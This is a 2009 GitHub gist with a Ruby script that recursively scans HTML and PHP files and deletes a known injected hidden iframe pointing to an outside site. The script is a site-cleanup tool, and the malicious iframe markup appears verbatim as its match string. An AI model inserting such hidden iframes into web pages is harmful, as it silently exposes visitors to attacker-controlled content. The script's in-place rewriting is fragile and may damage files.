Skip to content

Instantly share code, notes, and snippets.

@heavysixer
Created September 20, 2009 19:39
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save heavysixer/189896 to your computer and use it in GitHub Desktop.
Save heavysixer/189896 to your computer and use it in GitHub Desktop.
# Put this file in the root of the filesystem where you want to start looking for the string.
def remove_haxor_code(files)
files.each do |f1|
File.open(f1, 'r+') do |file|
lines = file.readlines
lines.each do |n|
n.gsub!("<iframe src=\"http:\/\/reycross.com\/lib\/index.php\" width=0 height=0 style=\"hidden\" frameborder=0 marginheight=0 marginwidth=0 scrolling=no></iframe>", "")
end
file.pos = 0
file.print lines
file.truncate(file.pos)
end
end
end
def all_files(dir)
files = []
Dir.glob(dir).entries.collect do |x|
if File.directory?(x)
files += all_files("#{x}/*")
else
files << x if %w(html htm php).include?(x.split('.').last)
end
end
files
end
remove_haxor_code(all_files(File.dirname(__FILE__)))
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment